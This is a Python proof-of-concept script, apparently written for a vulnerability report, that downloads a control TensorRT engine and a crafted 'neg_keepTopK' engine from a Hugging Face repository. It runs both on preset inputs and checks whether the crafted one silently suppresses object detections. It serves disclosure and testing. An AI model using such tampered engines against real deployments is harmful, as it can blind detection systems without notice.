Upload verify_remote_poc.py with huggingface_hub

verify_remote_poc.py

@@ -0,0 +1,187 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import ctypes
+import hashlib
+import json
+import os
+import shutil
+import sys
+import tempfile
+import urllib.request
+from pathlib import Path
+
+
+BASE = "https://huggingface.co/hacnho/tensorrt-detectionlayer-suppression-poc/resolve/main"
+FILES = {
+    "control": "control.engine",
+    "neg_keepTopK": "neg_keepTopK.engine",
+}
+TENSORRT_PYTHON = Path("/home/hacnho/Projects/research/targets/huntr/work/tensorrt-lab-11_1/.venv/bin/python")
+
+
+def ensure_tensorrt_python() -> None:
+    try:
+        import tensorrt  # noqa: F401
+
+        return
+    except ModuleNotFoundError:
+        current = Path(sys.executable)
+        if TENSORRT_PYTHON.exists() and current != TENSORRT_PYTHON:
+            os.execv(str(TENSORRT_PYTHON), [str(TENSORRT_PYTHON), __file__, *sys.argv[1:]])
+        raise
+
+
+def sha256_file(path: Path) -> str:
+    h = hashlib.sha256()
+    with path.open("rb") as f:
+        while True:
+            chunk = f.read(1024 * 1024)
+            if not chunk:
+                break
+            h.update(chunk)
+    return h.hexdigest()
+
+
+def load_cudart():
+    cudart = ctypes.CDLL("libcudart.so")
+    cuda_malloc = cudart.cudaMalloc
+    cuda_malloc.argtypes = [ctypes.POINTER(ctypes.c_void_p), ctypes.c_size_t]
+    cuda_malloc.restype = ctypes.c_int
+    cuda_free = cudart.cudaFree
+    cuda_free.argtypes = [ctypes.c_void_p]
+    cuda_free.restype = ctypes.c_int
+    cuda_memcpy = cudart.cudaMemcpy
+    cuda_memcpy.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
+    cuda_memcpy.restype = ctypes.c_int
+    cuda_memset = cudart.cudaMemset
+    cuda_memset.argtypes = [ctypes.c_void_p, ctypes.c_int, ctypes.c_size_t]
+    cuda_memset.restype = ctypes.c_int
+    return {
+        "malloc": cuda_malloc,
+        "free": cuda_free,
+        "memcpy": cuda_memcpy,
+        "memset": cuda_memset,
+        "h2d": 1,
+        "d2h": 2,
+    }
+
+
+def upload_floats(cuda: dict, ptr: ctypes.c_void_p, values: list[float]) -> None:
+    arr = (ctypes.c_float * len(values))(*values)
+    rc = cuda["memcpy"](ptr, ctypes.cast(arr, ctypes.c_void_p), ctypes.sizeof(arr), cuda["h2d"])
+    if rc != 0:
+        raise RuntimeError(f"cudaMemcpy H2D failed rc={rc}")
+
+
+def presets() -> dict[str, dict[str, list[float]]]:
+    return {
+        "all_zero": {
+            "bbox": [0.0] * 8,
+            "cls": [0.0, 0.0],
+            "anchors": [0.0] * 4,
+        },
+        "positive_cls": {
+            "bbox": [0.1, 0.1, 0.2, 0.2, 0.0, 0.0, 0.0, 0.0],
+            "cls": [0.05, 0.95],
+            "anchors": [0.5, 0.5, 1.0, 1.0],
+        },
+        "neg_cls": {
+            "bbox": [0.1, 0.1, 0.2, 0.2, 0.0, 0.0, 0.0, 0.0],
+            "cls": [-0.5, -0.1],
+            "anchors": [0.5, 0.5, 1.0, 1.0],
+        },
+        "mixed_bbox": {
+            "bbox": [1.0, -1.0, 2.0, -2.0, 0.5, 0.5, -0.5, -0.5],
+            "cls": [0.2, 0.7],
+            "anchors": [0.1, 0.2, 0.3, 0.4],
+        },
+        "foreground_strong": {
+            "bbox": [0.2, 0.2, 0.0, 0.0, -0.2, -0.2, 0.1, 0.1],
+            "cls": [0.01, 0.99],
+            "anchors": [0.0, 0.0, 1.0, 1.0],
+        },
+    }
+
+
+def run_engine(engine_path: Path) -> dict:
+    import tensorrt as trt
+
+    cuda = load_cudart()
+    logger = trt.Logger(trt.Logger.ERROR)
+    trt.init_libnvinfer_plugins(logger, "")
+    runtime = trt.Runtime(logger)
+    blob = engine_path.read_bytes()
+    engine = runtime.deserialize_cuda_engine(blob)
+
+    result = {
+        "engine_path": str(engine_path),
+        "engine_sha256": sha256_file(engine_path),
+        "presets": {},
+    }
+    for preset_name, preset in presets().items():
+        ctx = engine.create_execution_context()
+        ptrs: dict[str, tuple[ctypes.c_void_p, int]] = {}
+        try:
+            for i in range(engine.num_io_tensors):
+                tensor_name = engine.get_tensor_name(i)
+                shape = engine.get_tensor_shape(tensor_name)
+                count = 1
+                for dim in shape:
+                    count *= dim
+                nbytes = count * 4
+                ptr = ctypes.c_void_p()
+                assert cuda["malloc"](ctypes.byref(ptr), nbytes) == 0
+                assert cuda["memset"](ptr, 0, nbytes) == 0
+                assert ctx.set_tensor_address(tensor_name, ptr.value)
+                ptrs[tensor_name] = (ptr, nbytes)
+                if tensor_name in preset:
+                    upload_floats(cuda, ptr, preset[tensor_name])
+            infer = ctx.infer_shapes()
+            exec_ok = ctx.execute_async_v3(0)
+            output_name = engine.get_tensor_name(engine.num_io_tensors - 1)
+            _, out_nbytes = ptrs[output_name]
+            float_count = min(max(out_nbytes // 4, 1), 24)
+            host = (ctypes.c_float * float_count)()
+            copy_rc = cuda["memcpy"](ctypes.byref(host), ptrs[output_name][0], float_count * 4, cuda["d2h"])
+            result["presets"][preset_name] = {
+                "infer_shapes": infer,
+                "execute_ok": bool(exec_ok),
+                "output_copy_rc": copy_rc,
+                "output_values": [float(x) for x in host],
+            }
+        finally:
+            for ptr, _ in ptrs.values():
+                if ptr.value:
+                    cuda["free"](ptr)
+    return result
+
+
+def main() -> int:
+    ensure_tensorrt_python()
+    td = Path(tempfile.mkdtemp(prefix="hf_trt_detectionlayer_"))
+    try:
+        local = {}
+        for label, name in FILES.items():
+            dst = td / name
+            urllib.request.urlretrieve(f"{BASE}/{name}", dst)
+            local[label] = dst
+        control = run_engine(local["control"])
+        malicious = run_engine(local["neg_keepTopK"])
+        payload = {
+            "base": BASE,
+            "control": control,
+            "neg_keepTopK": malicious,
+            "semantic_suppression_observed": (
+                control["presets"]["positive_cls"]["output_values"] != malicious["presets"]["positive_cls"]["output_values"]
+                and control["presets"]["mixed_bbox"]["output_values"] != malicious["presets"]["mixed_bbox"]["output_values"]
+            ),
+        }
+        print(json.dumps(payload, indent=2, ensure_ascii=False))
+        return 0
+    finally:
+        shutil.rmtree(td, ignore_errors=True)
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())